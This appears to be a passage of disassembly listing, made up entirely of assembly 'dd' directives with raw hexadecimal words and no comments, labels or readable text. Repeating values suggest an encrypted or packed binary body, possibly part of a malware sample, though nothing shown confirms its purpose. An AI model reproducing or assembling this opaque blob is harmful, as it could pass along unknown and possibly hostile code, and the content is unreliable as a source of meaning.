		dd 2B936C5Bh, 6B030093h, 162D135Bh, 970AFF89h, 94170149h
		dd 0F9753AF0h, 0CD2E0319h, 35D59187h, 2303DBD1h, 9AF8157Dh
		dd 43101EB4h, 401EDA1Ch, 6AF77111h, 0B3D1470Dh,	5DB545AFh
		dd 1472EFF7h, 3B5C84Eh,	0CF000000h, 4BA2FF79h, 58BE1B1Dh
		dd 0B99504F2h, 95EC6DEBh, 0EBC455C3h, 0FDDEBBBDh, 0D330A197h
		dd 2E0E8B8Dh, 163FE78h,	6832D95Fh, 77F1h, 53241C89h, 0C381E389h
		dd 4, 4EB81h, 1C870000h, 0C895C24h, 79D26824h, 34890000h
		dd 0EABA5224h, 815AB01Ch, 4E7E89CAh, 81D2F775h,	0CBE00F2h
		dd 0D3895386h, 5A5BD989h, 72B768h, 24248900h, 4240481h
		dd 5E000000h, 8BA52h, 0C2810000h, 3698374Dh, 0EA81F201h
		dd 3698374Dh, 0FF5A0A89h, 835E2434h, 0C8B04C4h,	0E7895724h
		dd 4C781h, 0C7830000h, 243C8704h, 3A10E95Ch, 0B3C5FFFAh
		dd 615198C2h, 42E2B836h, 0C503060Dh, 0A45EE0FFh, 64F75C89h
		dd 7DC33803h, 3C9E001Dh, 0C5964F8Bh, 4D762F84h,	18C33C90h
		dd 2D8F42ACh, 60E661EBh, 0BD96116Eh, 350E3719h,	0F85B5EBCh
		dd 0F59F11C6h, 9E2830FFh, 0AE847CCh, 98000000h,	0A6DDA9AAh
		dd 798D73EDh, 5FF18BCCh, 81D2BF0Fh, 62EFC7h, 17BA6600h
		dd 189AB941h, 0D68B0000h, 0C78B37FFh, 4EE815Bh,	8116FDD4h
		dd 2616F3EBh, 0B6D0817Eh, 816D67E8h, 0AB1A28C3h, 0C381F556h
		dd 9137DCCh, 19830Fh, 14E90000h, 0C6000000h, 7933202Bh
		dd 7D4A11FAh, 319026A4h, 91B38295h, 531E2C13h, 8FD68B66h
		dd 0B1605307h, 0A8BB6620h, 835A6104h, 8B6604EFh, 1E981C3h
		dd 0F000000h, 0FFFF9B85h, 8B6651FFh, 0E8535AC2h, 565DB13Eh
		dd 0EEACF232h, 5655F201h, 56ABB132h, 61D5B132h,	82EAE86Fh
		dd 5675EB59h, 56BAB132h, 565DB132h, 56AEB132h, 5657B132h
		dd 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h
		dd 545DB132h, 81AEB132h, 5757B835h, 54ABBB32h, 47D5B332h
		dd 56E88032h, 5677F632h, 7DB8F632h, 565DB8F2h, 75FC6C32h
		dd 29C96812h, 6222247Eh, 3687E116h, 6DBBE53h, 0C44BE60h
		dd 0CE2EB6Ah, 7241386Ah, 0EF4AA18h, 565B5862h, 9BCFB132h
		dd 9F0522B0h, 0D3165EFCh, 0B8E2BAE8h, 0AC9FADBDh, 90FCB999h
		dd 47305B5h, 6573A11h, 56A45860h, 6E4EB132h, 0B29DC723h
		dd 666B37Fh, 2AD5FF7Bh,	66CBE37h, 59FCE160h, 590FEB03h
		dd 56A35803h, 0EF55B132h, 2346EECCh, 0E2FCA38h,	1233E968h
		dd 303DB516h, 362ED389h, 2EA7DA8Ah, 0ECAD05Ah, 4E2E3BC7h
		dd 923DE743h, 5906539Fh, 59E8E103h, 0C05EB03h, 369FBE6Ah
		dd 0F0B60854h, 56A258AEh, 0C4C8B132h, 88F3D151h, 0D6A03D8Dh
		dd 5053C9D2h, 0E05DB132h, 14239585h, 0C362C61h,	72EF386Ah
		dd 955FD136h, 9161D764h, 0BE2DD06Dh, 0BFBD7445h, 565DB134h
		dd 6B3A5694h, 37CA3200h, 0D64066Ah, 56D5E953h, 56EAB132h
		dd 5675B132h, 56BAB132h, 565DB132h, 56AEB132h, 5657B132h
		dd 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h
		dd 565DB132h, 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h
		dd 56EAB132h, 5675B132h, 56BAB132h, 565DB132h, 56AEB132h
		dd 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h
		dd 56BAB132h, 565DB132h, 56AEB132h, 5657B132h, 56ABB132h
		dd 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h, 565DB132h
		dd 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h
		dd 5675B132h, 56BAB132h, 565DB132h, 56AEB132h, 5657B132h
		dd 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h
		dd 565DB132h, 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h
		dd 56EAB132h, 5675B132h, 56BAB132h, 565DB132h, 56AEB132h
		dd 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h
		dd 56BAB132h, 565DB132h, 56AEB132h, 5657B132h, 56ABB132h
		dd 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h, 565DB132h
		dd 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h
		dd 5675B132h, 56BAB132h, 565DB132h, 56AEB132h, 5657B132h
		dd 56ABB132h, 56D5B132h, 36EAB132h, 5675B1DAh, 0BC3BEB32h
		dd 5050F632h, 0FF3C34BFh, 0D4DEB73Eh, 50A6F564h, 0EEFA33BFh
		dd 0D463B73Fh, 5078F568h, 56B3FFDAh, 56265932h,	0D469B132h
		dd 505AF574h, 56ABB132h, 1B507760h, 0ECB62Eh, 0FECDE35Ah
		dd 0BB0F4EAEh, 0DB5BB620h, 5CD24FB7h, 0DF874E34h, 51BE48B7h
		dd 3ED1DB34h, 56EAA132h, 5578F15Ah
		dd 0A9BADB32h, 9656EBE2h, 0D4278246h, 505AF574h, 12E133BBh
		dd 166CB73Fh, 0DDEAB23Fh, 0A5B582CAh, 52D0E398h, 564DB15Ah
		dd 52AED932h, 563DB132h, 435223CDh, 0DF8FB735h,	5BAE2BB0h
		dd 0D3FED034h, 50B7F574h, 0D49AD1F1h, 50A9B183h, 5617B132h
		dd 57DE33F5h, 46D5B735h, 958BB132h, 10CF3A52h, 0D5BCBC76h
		dd 7529B10Dh, 54BECEB1h, 29D4BA46h, 58DFB522h, 0BDC176B1h
		dd 46AD76D8h, 5675B133h, 117D43D9h, 565DB222h, 37475A32h
		dd 0BADCE4F1h, 56AB5952h, 0D78FB132h, 5BAD44D8h, 0C8C73A34h
		dd 0DDBCBC76h, 50D4B977h, 123033B1h, 3753B73Fh,	56AF73FBh
		dd 56D55952h, 0D7B0B132h, 5B3DA8D8h, 0CC083A34h, 6D5BBC76h
		dd 5BEA2F80h, 0DD6CC534h, 59743A0Ch, 0A0D4FE84h, 236AB075h
		dd 0BDACB236h, 15639A30h, 83D83A71h, 0DDA8B635h, 51537CBFh
		dd 24738A34h, 210C8A3Bh, 522C3237h, 994E78D9h, 0EB33B946h
		dd 505AB5FFh, 95CF06D9h, 56575952h, 0D7F1B132h,	5B9DC0D8h
		dd 0CC503A34h, 0EF73BC76h, 56BAB032h, 0FDAE7101h, 123433B9h
		dd 0D4DEB73Fh, 50A6F5ACh, 0BEB57253h, 56EAB132h, 0CD9F3068h
		dd 90BCBC7Ah, 5141FCB7h, 6FC6E734h, 0A983AE5Fh,	51B95C87h
		dd 0A8503C34h, 0A9ECBB4Eh, 3E25E3E2h, 56BA3132h, 0E4A2B158h
		dd 50A3F574h, 0C0F61CDh, 562BB15Ah, 0A9D5DB32h,	5BAE2B80h
		dd 37A54E34h, 0BA31E4F1h, 565D5952h, 0D7F4B132h, 5B1F58D8h
		dd 5EDE3A34h, 56D729DAh, 0C415E432h, 5078F564h,	5ACF8A6Fh
		dd 0D0B55F47h, 37AEB130h, 565F73FBh, 0D5473A67h, 1834DF6h
		dd 56EA5961h, 0D72FB132h, 5BF3ACD8h, 5E283A34h,	1BECCB9h
		dd 56605964h, 96A0B132h, 0AE5E9046h, 784E67h, 0B73BC76h
		dd 22B6C409h, 48D6D720h, 0DC5E56B2h, 0A6B4312Ch, 56AD2CDAh
		dd 0DF015A32h, 0B024D4Fh, 0D8A4ECCh, 1331EF6Dh,	5A9F78CEh
		dd 0BA25E432h, 1AF75B1h, 91F8E064h, 56D54977h, 0D42DB132h
		dd 5078F5B4h, 56BAB133h, 3055C4B9h, 0EC25AFB9h,	505AF574h
		dd 5DA3EEB9h, 6DDAC5E9h, 0DDECC4ECh, 9FCBD6Fh, 427D323Eh
		dd 0DD3B5BD9h, 0BE55312Ch, 5699353Dh, 0AD2BB132h, 9351BEDBh
		dd 0D6EAB132h, 0D27A5AC9h, 56BAB18Eh, 59BF4AB2h, 56AE1DB6h
		dd 0B5AC3132h, 5631353Dh, 0D7B3B132h, 5909D6C9h, 567529B6h
		dd 0A65D3132h, 59A63054h, 0C72ABEB2h, 0D657B132h, 0AD2B41D1h
		dd 0D351BE42h, 30EAB132h, 0B5F5AFB9h, 0EE4131CAh, 68DDF346h
		dd 0D693C537h, 6E239C0Ch, 22C38FB2h, 0D0574E01h, 30ECBC76h
		dd 0B1F5AFB9h, 0AD3BD7CAh, 762959B3h, 0D6B03A54h, 0D73141D5h
		dd 226B30C9h, 0A980D121h, 5BAEE7A0h, 13FCEC34h,	2B39D0CEh
		dd 3528B0CEh, 561F0BB9h, 0DD07B735h, 5BEF37B0h,	66E98834h
		dd 0DDBAC36Ah, 5174C488h, 0D431E134h, 5050F5B4h, 0E9E8D0Bh
		dd 46BC8C4Dh, 5453F4F5h, 0BDD5B132h, 0AEAF7635h, 5675B133h
		dd 12FC0BB9h, 49D6B73Fh, 49DA6A39h, 59226F09h, 0D5A7ECB9h
		dd 22D5494Fh, 0AEB7B231h, 0D571EEBBh, 0B451A5F5h, 96B47101h
		dd 30AEB132h, 2BDCAFB9h, 0BD50313Eh, 0B555BB46h, 261131C2h
		dd 649EA746h, 9153B6F4h, 565DB075h, 9125B132h, 0BF5271B1h
		dd 56ABB1A5h, 59D27654h, 0D6F43B3Ah, 9DF5BED1h,	57E539B2h
		dd 565FF6F5h, 0DDAEB132h, 509732F5h, 0D7CDC8D9h, 2245210Ch
		dd 0C6D4313Dh, 0D713BF47h, 0C62A4E4Ch, 52B6B346h, 94576B9h
		dd 12F533BFh, 0FBB73Fh,	128F23CDh, 96E1B73Fh, 9EFEBB46h
		dd 121803BFh, 46B6B73Fh, 3603A64h, 120123CDh, 7DF6B73Fh
		dd 80C46FCh, 5712CCB1h,	1FC5A147h, 5902D798h, 59F6D7B7h
		dd 0FDAFF784h, 2BD4AAD9h, 45DEB3CAh, 9FDE0954h,	0EE8C1A54h
		dd 0FD13353Dh, 57FC073Dh, 0A55F5A99h, 0D693A96h, 9F08EF6Bh
		dd 3ABB9F0h, 0BEB55DB9h, 56EAB132h, 2D9F3068h, 0DDBCBC79h
		dd 0D4D4B977h, 50A3F57Ch, 52957853h, 0BA20E432h, 362D75B1h
		dd 56EAB1DAh, 0BCF4EB32h, 50B7FAAEh, 56A5F4F5h,	91AEB132h
		dd 56574D77h, 9698B132h, 91CB3A54h, 5BAE37B0h, 5675B034h
		dd 0AD3BD732h, 562821A2h, 59464AB2h, 5656B9B6h,	0AD2BF132h
		dd 0A851BEDBh, 16EAB132h, 599E4AB2h, 56BA45B6h,	0B1DDF132h
		dd 0AD2FD7C2h, 0D258313Dh, 56ABB1D7h, 55443331h, 0D6AAB735h
		dd 0D27A53C9h, 56BAB1FCh, 59BE4AB2h, 56AE0DB6h,	0ADD6D732h
		dd 0D2A45255h, 56D5B188h, 0D61A52B2h, 0D27AC1C9h, 56BAB187h
		dd 0D6433A54h, 0AD2E49D1h, 0D610C58Ah, 14DFB40Ch, 22F88FB2h
		dd 3ED4310Fh, 0A9358946h, 5BFE37B0h, 48D6D734h,	305656B2h
		dd 0BED64AB3h, 0DDCD9546h, 0A632312Ch, 0D7113054h, 3662C5F2h
		dd 284E67h, 0B5BBC76h, 3752F4BBh, 57ABCCB1h, 5783343Dh
		dd 0EC5EB132h, 50EDB183h, 0D0F73A62h, 6FBCBC76h, 5905810Eh
		dd 56AFA0B0h, 23ED3A32h, 6ADB633h, 125333B9h, 6AD3B73Fh
		dd 0D97AE902h, 56BAB1C8h, 12170BB9h, 0D42DB73Fh, 505AF578h
		dd 0DF9C3826h, 0DD85A175h, 5BAE37B0h, 66693A34h, 5EE5386Ah
		dd 565D64DBh, 0AEEB7632h, 5657B130h, 136CB6D9h,	56D5B0CAh
		dd 1C503A32h, 0D573BC76h, 5BFEFBB0h, 61D4A534h,	0D5BEF6BBh
		dd 5A22B2CAh, 122D33F5h, 56D7B73Fh, 5301B132h, 2B7749B1h
		dd 0AEC7326Dh, 5946C532h, 0FFAFF784h, 5657B1B2h, 0D5EBB747h
		dd 5E3EB4DAh, 56EA4E1Fh, 539D3232h, 0DDE9BAD9h,	5B1937A8h
		dd 65AA3A34h, 56571869h, 42DE3132h, 96567731h, 0D068B237h
		dd 1E73BC76h, 0DFB2F6BBh, 0B6BD75h, 908569C5h, 96D469C5h
		dd 0D029B237h, 1ED3BC76h, 0DFE2F6BBh, 689EBD75h, 10307101h
		dd 23DD1933h, 0D568B213h, 57ECB3F2h, 5DABB132h,	0DCDCC5E9h
		dd 5A96BAA8h, 57963134h, 11337231h, 5A1A383Ah, 8E59A5D9h
		dd 56574E17h, 0A16D9A32h, 541532EAh, 0DFE2F6BBh, 378DBD75h
		dd 0DDEF72FBh, 0AA9932DEh, 56AE5952h, 0D70DB132h, 5BE61CD8h
		dd 106F3A34h, 65ECBC76h, 564A32FBh, 5678353Dh, 51D6B132h
		dd 0A9A2C4CDh, 0BE07B947h, 56ABB041h, 9156B441h, 0DF085A26h
		dd 238A4D77h, 5ECF4E3Eh, 0AB586CDh, 59AEB133h, 565726B0h
		dd 0AAEE3A32h, 0D4DAB60Bh, 56EAB1BEh, 0D589F4CDh, 22BAB54Dh
		dd 5A22323Ah, 0BDACC532h, 0A9A8093Ch, 53124ECDh, 0A5D5B132h
		dd 0D5295A99h, 2270A14Dh, 46C5323Dh, 174CC434h,	0DDAAF6B9h
		dd 15BCBD6Dh, 0DDAFF6B9h, 6F3EBD6Dh, 0DDEEF6B9h, 94EBD6Dh
		dd 4AFC43Ah, 7D59E6B9h,	3ADA167h, 5A083A26h, 0BD286B19h
		dd 443EEB37h, 0DDEEF6B9h, 95EBD6Dh, 53513236h, 51043B31h
		dd 292DB735h, 5722B222h, 0DF729A73h, 0EED4B06Eh, 0A9154ECDh
		dd 5675B48Bh, 0BF114232h, 0A9A24E64h, 466C7853h, 0BADCE432h
		dd 365775B1h, 56D5B1DAh, 0BC6BEB32h, 5078FFAAh,	12FC0BB9h
		dd 9F6EB73Fh, 59AE8EB1h, 565720B6h, 0A9AC3A32h,	232ABD47h
		dd 0DE02E13Ah, 2575B132h, 427D3237h, 13D453D9h,	5ADB4ECEh
		dd 0A95FC4CDh, 56DA5905h, 3CA7B132h, 6F16F4B9h,	0A916C335h
		dd 29394D77h, 5E29B136h, 56A2CEB1h, 58BCB346h, 0A9544E8Ah
		dd 56D008CDh, 0FD19B132h, 29F67AD9h, 59CEB422h,	504DCEB1h
		dd 0DDEFA047h, 9DCB575h, 0DDB65A3Eh, 95EB575h, 0DDF95A3Eh
		dd 9FEB575h, 52E59A3Eh,	0D5585AB1h, 23ADA14Dh, 8F7CF033h
		dd 57AAEDBBh, 0A92A4E8Ah, 56EF08CDh, 0FD86B132h, 9FDB36D9h
		dd 35DB9F0h, 0DDCE5DB9h, 136CB977h, 6DA3C33Eh, 55A2A177h
		dd 0AFE95ACAh, 9F14B1D9h
		dd 3BABDF0h, 92DE5DB9h,	5646D1CEh, 0C57B132h, 19C55BB3h
		dd 9FE6B73Fh, 0B636A01h, 10CF3ACEh, 0D5BCBC76h,	3229B10Dh
		dd 23518EB1h, 42903237h, 292840D9h, 5EA1B136h, 56E6CEB1h
		dd 5E9EB346h, 0D546F4CDh, 8DB6A5F5h, 53BECEB1h,	29D4BE46h
		dd 47DEB722h, 52923A73h, 0BDE6EEB9h, 52323A2Fh,	0BDB6EEB9h
		dd 521A3A21h, 7DA2EEB9h, 0BDD4B56Dh, 46D43237h,	17D4C431h
		dd 0A636819h, 0A9CDB033h, 0EF454ECDh, 565DB137h, 0C1451AC1h
		dd 0AA123A53h, 7FB72FBh, 56D55961h, 0D7B0B132h,	5B3A48D8h
		dd 8203C34h, 0EE5BBC76h, 56AEB156h, 565763DAh, 6DA03A32h
		dd 55C15AF3h, 97D1B579h, 1D76A640h, 247B8A22h, 0BD5F5A30h
		dd 0DBBC5A26h, 5B87F0A8h, 0BD784E34h, 314F3C3Ah, 0A9ECBCE1h
		dd 0E2CEAE1h, 0BA31E4F1h, 565DB1DAh, 0BC2FEB32h, 505AE17Ah
		dd 8113C52h, 0DDD3BC76h, 5163B977h, 0DF79F4B9h,	1331B575h
		dd 5A1A3822h, 0DFBAF4B9h, 9F36A175h, 36ABA1F0h,	4A9834F4h
		dd 3EADB735h, 0FE62C228h, 445704CDh, 0D3D0B735h, 50A4CDCCh
		dd 0DB0561CDh, 5BEF3BB8h, 862AE034h, 0DC683C68h, 5973BC76h
		dd 0DDB6F185h, 6752E3EAh, 0DF6DB268h, 5171CCB0h, 51C3D034h
		dd 0E852h, 815A0000h, 0D50B9EAh, 828B5206h, 607267Dh, 0C64E6DB9h
		dd 5AE1F741h, 303905h, 0FFFF2500h, 82897FFFh, 607267Dh
		dd 51C3595Ah, 0E852h, 815A0000h, 0D50E9EAh, 0E8C88B06h
		dd 0FFFFFFBBh, 0F1F7D233h, 595AC28Bh, 8BC08BC3h, 0FA858DC0h
		dd 0FF060D46h, 0C18B66D0h, 50B2858Dh, 8589060Dh, 6071709h
		dd 50E2858Dh, 8589060Dh, 607002Dh, 0B8h, 0FC00B00h, 4784h
		dd 4D85C600h, 5606071Ch, 0C530DF68h, 0EDB5FFA9h, 8D060712h
		dd 0A7CFE85h, 50D0FF06h, 2018D8Dh, 6A510607h, 10006804h
		dd 0B5FF0000h, 6070FCDh, 0BD8BD0FFh, 6070FCDh, 813C7F03h
		dd 0F8C7h, 2447C700h, 60000020h, 22D99D8Dh, 38B0607h, 840FC00Bh
		dd 5, 4389008Bh, 4CF6B904h, 8D8D0023h, 60D5226h, 1B418D89h
		dd 0B70F0607h, 0A59589F7h, 0C7060710h, 7060585h, 5F4006h
		dd 15B86600h, 6985C7C2h, 60700h, 8B000000h, 0A5B5FFFBh
		dd 8906070Bh, 731C1B5h,	0E195FF06h, 6A060701h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0E7A5C357h, 8D0145D6h, 6071A5Dh, 1E8C0Fh, 66600000h
		dd 0E80E92BFh, 12h, 0E54F8707h,	8F2FE51Fh, 0ECAE0F92h
		dd 1856411Dh, 615E8253h, 95FF006Ah, 6073201h, 18EBC08Bh
		dd 17CA55E1h, 0EDB797E5h, 83B52DFAh, 639F9C7Fh,	0F204D75Dh
		dd 343D5D41h, 53208D8Dh, 6A060Dh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 0AE71E3C3h, 0CE88687Eh
		dd 81BB9BA3h, 87A83DEh,	418D8954h, 0F06071Bh, 68Bh, 7DD88100h
		dd 0C77154A5h, 7060585h, 660C06h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0AE268AFBh
		dd 3850F60h, 66000000h,	0C761F28Bh, 7006985h, 6, 0E1B58B00h
		dd 0FF06072Ch, 72B21B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0FF3D7688h, 701E195h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0F3B14738h, 62CEBB67h, 6A1523h, 320195FFh
		dd 0C08B0607h, 690B7DEBh, 0E2DA4C7Bh, 0A05237EDh, 0E4A0C4A2h
		dd 8D40D9B2h, 38B4E9F8h, 7C5BF51Dh, 0FA2F2A87h,	4019BFF7h
		dd 0B06591CDh, 0C02E28B5h, 0B5ED281Ah, 5B676743h, 8EAA7786h
		dd 0B1EFC155h, 895680EBh, 1638278Dh, 615AEACAh,	7C5033E9h
		dd 0C816B62Ah, 51EDAC77h, 0D60104FCh, 3BBBA7AFh, 0FAF44ABEh
		dd 99030E4Eh, 857C217Eh, 6471F949h, 69185C83h, 0D619DDDAh
		dd 0FC2DCBF7h, 0EA309640h, 0EB9807E8h, 6A023508h, 7Ah
		dd 0B77E900h, 7F680000h, 0E9060D55h, 0FFFAF06Fh, 0D56A468h
		dd 0F065E906h, 3A68FFFAh, 0E9060D58h, 0FFFAF05Bh, 0D592368h
		dd 0F051E906h, 9668FFFAh, 0E9060D5Ah, 0FFFAF047h, 0D5C9C68h
		dd 0F03DE906h, 9568FFFAh, 0E9060D5Dh, 0FFFAF033h, 8D32AA2Ah
		dd 0EB4CC88Fh, 4AF36969h, 0AA138BCEh, 0CB12DAEh, 0B4375488h
		dd 0D8958738h, 7B79DB5Ch, 9ED838FDh, 310D9D22h,	2AEF9C2Dh
		dd 0A765E26Ch, 67F3A3DDh, 0DD281DD2h, 9268D380h, 4A4190EAh
		dd 0E39D7FCFh, 52CD4904h, 82867BEDh, 9FB2C418h,	53CE682Eh
		dd 5F831FE3h, 6C20F92Eh, 0ECA63350h, 5D7811DCh,	0F6BB1FE2h
		dd 3B6C20F2h, 16DF195Ch, 27A3BAEh, 911D99D8h, 0FA6009CDh
		dd 231E6C20h, 45D05DA0h, 30000000h, 0C3E238C9h,	73EBEE8Fh
		dd 7C714E26h, 87C51981h, 9B682E8Ah, 872A2E98h, 506C20FEh
		dd 2B299511h, 8D802EAEh, 0CE30872Ah, 0D189F32h,	15BE3AB5h
		dd 0B34D519Dh, 0D047BA32h, 0C7A2639Dh, 28E37A3Bh, 21000001h
		dd 0F44A3DDh, 5CBE088Bh, 985C623h, 0A022208Eh, 29A4B624h
		dd 9F6201ADh, 2337936Fh, 6A27BC9Ah, 1A8679E4h, 0FF5BDC58h
		dd 6A27B718h, 0D00491D3h, 6A27B8A9h, 71E964D7h,	8A024795h
		dd 125BBF3Ch, 6C6A27B8h, 35C90EF1h, 8A8E8E90h, 0C555D0C5h
		dd 27596811h, 0D02B166Ah, 0C8E0A44h, 77718CCEh,	33AE4DF9h
		dd 0D11DE083h, 14868A67h, 2E0502C0h, 4AF36E68h,	0BF2325DAh
		dd 728E3F23h, 5F06C20h,	67C418F2h, 3D6E27A6h, 0ECAD6414h
		dd 0C742A08Ch, 45C3815Bh, 0A089B81Ch, 8C773B33h, 77F3EC6Eh
		dd 431152CEh, 6A8452DEh, 8CC42020h, 423DBE08h, 5DA39796h
		dd 0B24CF281h, 904h, 15AA22A2h,	73C44007h, 0D26BE1E1h
		dd 328B0346h, 9429A526h, 2CAFCC00h, 500D0FB0h, 0F3F163D4h
		dd 1650C075h, 0B985259Ah, 2AE914A5h, 5FFD6A6Ch,	963CB9A3h
		dd 2BE6AC72h, 0FE5CDFA2h, 278C531Ah, 0CF322D6Ah, 0F6F7124Dh
		dd 8CCCFD61h, 47B26A27h, 7EF97AC4h, 0C2195BB9h,	0E2B70787h
		dd 67CD7357h, 2DA82B8Eh, 6C64F688h, 0A3CB15E8h,	0BF423EB9h
		dd 0A63438C9h, 46B93DB4h, 0C23AB0A4h, 3B26682Eh, 6865F78Bh
		dd 5EA142ECh, 20B6B1C4h, 0D89B7C6Ch, 3B65D71Eh,	0DAAE7Ah
		dd 0F04C0000h, 20BA5D6Ch, 0CD30236Ch, 25A3DD13h, 0BC38BB99h
		dd 0C2463CDEh, 0CE752174h, 648AA0E3h, 7CD816E9h, 6A27289Bh
		dd 51851650h, 6A272728h, 0AAA43D56h, 0F5D6B5D2h, 0DA46FF7Ah
		dd 0CE921C98h, 4B7C5F72h, 0F01032E6h, 274C6B12h, 0D72A156Ah
		dd 80FDA051h, 71EDE804h, 37AB26C5h, 2E102123h, 6DD24D68h
		dd 980206FBh, 27B0D244h, 2FB3AE6Eh, 5A63F753h, 246A29D7h
		dd 195AC639h, 0BF38189Dh, 0FE2211C3h, 0B565815Dh, 7DF2Bh
		dd 877D7900h, 21A5223Eh, 40C4BC9Ch, 0E0641DFFh,	682FD5Fh
		dd 442727B1h, 2A368F0Bh, 8E8A33ABh, 69EB4CC8h, 7E4CF16Fh
		dd 0EA4F7EE2h, 0D4316C2Ah, 47A2DD74h, 693C8A02h, 0F18C4386h
		dd 47C2BD38h, 856062FEh, 2EAA28CFh, 0D660E380h,	77259A15h
		dd 9925A3DDh, 0FA4339BBh, 6FF3750Ah, 2EE915EBh,	4CCE4968h
		dd 0B62DC88Eh, 64E78432h, 0F5F75591h, 185AC67Fh, 0A036129Ch
		dd 75EF6AEBh, 62E69D78h, 2A9417D4h, 812DA928h, 70A6C9ACh
		dd 0AA49F571h, 0FA60E22Fh, 0E75D1FFEh, 0AD199457h, 3BB62EAFh
		dd 0F81E51C0h, 5FBD02FEh, 4B17A71Dh, 0A659D791h, 66AD8A3Ch
		dd 6508EAEBh, 8F8200A4h
		dd 0EFF9D566h, 1F3BE0B1h, 0EA8D14EFh, 793EBA34h, 0D363D99Bh
		dd 0B71FAD77h, 0BBA13900h, 72F1BD3Fh, 0B365088Fh, 1602BB31h
		dd 6A13C754h, 141499F0h, 1600AE29h, 38030159h, 59700951h
		dd 6987CDEh, 8D169098h,	0FC6B74F8h, 8F72E33Ch, 4B9A4h
		dd 0E96DED6Fh, 10973DB3h, 86822C2Fh, 14994AF0h,	0BD15583Fh
		dd 4A8C3D21h, 7F21499h,	55B978FCh, 8F8CF2F3h, 4C000003h
		dd 4A9084B5h, 0FD6B8E0Eh, 469A0004h, 682ED06Ch,	0B1A51500h
		dd 0ED22964Ch, 0EC6EF28Fh, 2707BA68h, 9CDB01EFh, 0CB704B18h
		dd 0C52065F2h, 0A20C0F32h, 21B9BBB4h, 4475E945h, 24EB293Ch
		dd 6801E59Bh, 0EA55185Eh, 5B1C8317h, 837EE92Ch,	583FD1Fh
		dd 0CB26A0B0h, 408C0F8Dh, 8539ADDh, 49906E1Ch, 0E7000006h
		dd 48C86DE7h, 2A368F0Bh, 8B892EAEh, 6BE94ECEh, 4D4BEC68h
		dd 75F1F291h, 991550C0h, 3ABE3424h, 5FD59785h, 0E074C8E6h
		dd 6C2AE4D9h, 0C9EAA6A7h, 0B2A63438h, 682EE9DCh, 0A9059580h
		dd 208E04B5h, 7CE07A6Ch, 6C208E4Dh, 0B245C033h,	7072E874h
		dd 0D59701F4h, 45C0BC3Eh, 8953AFF9h, 37AE51CFh,	0A7A94684h
		dd 0DB41273Bh, 3D1D6E29h, 27BC90D9h, 0F073EE6Ah, 2AA9B34Fh
		dd 0BC1CADB1h, 0F7626A27h, 0D629CA74h, 228C084Ah, 9C2AA620h
		dd 0FF21540Bh, 0BABE07FDh, 74345B7Bh, 28DCAh, 38C90E00h
		dd 0BC86372Bh, 7DF86A27h, 58BC1882h, 6A27BC11h,	0F109EC6Fh
		dd 2508E06Dh, 0F938E68h, 737792CDh, 0E15CD898h,	43D166h
		dd 0B4A63A84h, 1C98DF3Ah, 0A356D192h, 0FBFF6F37h, 0AC28AA87h
		dd 423EC760h, 0A638E67Bh, 560h,	0B106FEFEh, 1FA024A3h
		dd 7EC7453Dh, 0DE67E7E2h, 30850142h, 88CBA8A4h,	2CA9AB0Ch
		dd 570D0FB0h, 0F2EC6CD1h, 1DE1C176h, 2AE5B0F9h,	0C341CE6Ch
		dd 0A63438C9h, 0AF28B503h, 4FB2DAFEh, 0A3B2D7B3h, 0ADD3D987h
		dd 0AA2EA547h, 3EA45F1Ch, 6825AC33h, 5578E25Dh,	55D1AF2Bh
		dd 24E21552h, 9728A426h, 0B2FB1FFBh, 0CC6C2ADAh, 0B032AE51h
		dd 64F68A34h, 8A16E96Dh, 60E24CC8h, 0FB59E561h,	0E4B27CF8h
		dd 0BCEB4C6Fh, 28329225h, 4CC833AFh, 2B219612h,	7A41C1EAh
		dd 1A9BBh, 0A3DD9900h, 39BB9925h, 9943DF43h, 0F68763D9h
		dd 886A27BCh, 0B3B56A8Dh, 3C20BABEh, 682EEB8Ah,	0A2BEDDF6h
		dd 19EE6524h, 8134109Eh, 566C205Dh, 2C2E9814h, 9A1E54B1h
		dd 0FB82AF1Fh, 18FF07B8h, 415A9B55h, 332B7A3Ch,	0E9000000h
		dd 0A63438C9h, 58A51A03h, 8FCB80F4h, 47C2A10Dh,	0C0BA5EBCh
		dd 0DC682E84h, 4C71D561h, 816C20F0h, 5CA56316h,	447A3BA8h
		dd 0A659D596h, 0A729h, 0B9A3EB00h, 6DA403Ch, 6A27BC77h
		dd 69EB0E09h, 0C745F16Fh, 5CBE0884h, 4418A622h,	0A154D096h
		dd 0A33FB537h, 0BC6A13C7h, 0C6BD6A27h, 0E90C0F42h, 0B74D2234h
		dd 0C4866A27h, 8071F748h, 8A66E29Dh, 4AD053CBh,	206FAE96h
		dd 0CB57C268h, 65DA5611h, 0AC78F4F7h, 87594885h, 0ED10EE9Ch
		dd 4B000003h, 2C2C910Bh, 8E8A33B7h, 6FED52CAh, 0CF4DF26Ah
		dd 29AF108Ch, 99155635h, 3DB93424h, 5EDA9878h, 83797BD9h
		dd 4C906C3Ah, 6C2AE63Dh, 0DD46C243h, 942539A2h,	0EA6A27BCh
		dd 56D14D0Eh, 0F4F662DBh, 312BC778h, 14C03BB1h,	9925A3DDh
		dd 0FA4339BBh, 0D092750Ah, 0C216EA54h, 6A27BCBBh, 3DDF5AC5h
		dd 0F97AC440h, 0E6789C7Eh, 0BA682ED3h, 0A40DBCA0h, 0AD6D6C20h
		dd 0AC938B0Eh, 56D14C07h, 0C5216C4h, 0E1C77A9Dh, 94229DBCh
